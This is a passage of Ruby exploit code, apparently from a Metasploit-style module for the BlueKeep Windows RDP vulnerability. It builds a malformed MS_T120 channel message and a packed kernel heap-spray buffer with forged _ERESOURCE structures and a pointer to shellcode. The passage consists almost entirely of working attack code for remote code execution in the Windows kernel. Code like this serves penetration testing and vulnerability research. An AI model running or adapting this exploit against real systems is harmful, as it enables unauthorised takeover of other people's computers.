#{chan_user_id} on channel #{chan_id}") # The extra bytes on the end of the body is what causes the bad things to happen body = "\x00\x00\x00\x00\x00\x00\x00\x00\x02" + "\x00" * 22 rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF) end def create_exploit_channel_buffer(target_addr) overspray_addr = target_addr + 0x2000 shellcode_vtbl = target_addr + HEADER_SIZE magic_value1 = overspray_addr + 0x810 magic_value2 = overspray_addr + 0x48 magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE # first 0x38 bytes are used by DATA PDU packet # exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE # http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm [ [ # SystemResourceList (2 pointers, each 8 bytes) # Pointer to OWNER_ENTRY (8 bytes) # ActiveCount (SHORT, 2 bytes) # Flag (WORD, 2 bytes) # Padding (BYTE[4], 4 bytes) x64 only 0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes) 0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes) magic_value2, # OwnerThread (ULONG, 8 bytes) magic_value2, # TableSize (ULONG, 8 bytes) 0x0, # ActiveEntries (DWORD, 4 bytes) 0x0, # ContenttionCount (DWORD, 4 bytes) 0x0, # NumberOfSharedWaiters (DWORD, 4 bytes) 0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes) 0x0, # Reserved2 (PVOID, 8 bytes) x64 only magic_value2, # Address (PVOID, 8 bytes) 0x0, # SpinLock (UINT_PTR, 8 bytes) ].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'), [ magic_value2, # SystemResourceList (2 pointers, each 8 bytes) magic_value2, # -------------------- 0x0, # Pointer to OWNER_ENTRY (8 bytes) 0x0, # ActiveCount (SHORT, 2 bytes) 0x0, # Flag (WORD, 2 bytes) 0x0, # Padding (BYTE[4], 4 bytes) x64 only 0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes) 0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes) magic_value2, # OwnerThread (ULONG, 8 bytes) magic_value2, # TableSize (ULONG, 8 bytes) 0x0, # ActiveEntries (DWORD, 4 bytes) 0x0, # ContenttionCount (DWORD, 4 bytes) 0x0, # NumberOfSharedWaiters (DWORD, 4 bytes) 0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes) 0x0, # Reserved2 (PVOID, 8 bytes) x64 only magic_value2, # Address (PVOID, 8 bytes) 0x0, # SpinLock (UINT_PTR, 8 bytes) ].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'), [ 0x1F, # ClassOffset (DWORD, 4 bytes) 0x0, # bindStatus (DWORD, 4 bytes) 0x72, # lockCount1 (QWORD, 8 bytes) magic_value3, # connection (QWORD, 8 bytes) shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes) 0x5, # channelClass (DWORD, 4 bytes) "MS_T120\x00".encode('ASCII'), # channelName (BYTE[8], 8 bytes) 0x1F, # channelIndex (DWORD, 4 bytes) magic_value1, # channels (QWORD, 8 bytes) magic_value1, # connChannelsAddr (POINTER, 8 bytes) magic_value1, # list1 (QWORD, 8 bytes) magic_value1, # list1 (QWORD, 8 bytes) magic_value1, # list2 (QWORD, 8 bytes) magic_value1, # list2 (QWORD, 8 bytes) 0x65756c62, # inputBufferLen (DWORD, 4 bytes) 0x7065656b, # inputBufferLen (DWORD, 4 bytes) magic_value1, # connResrouce (QWORD, 8 bytes) 0x65756c62, # lockCount158 (DWORD, 4 bytes) 0x7065656b, # dword15C (DWORD, 4 bytes) ].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L') ].join('') end end


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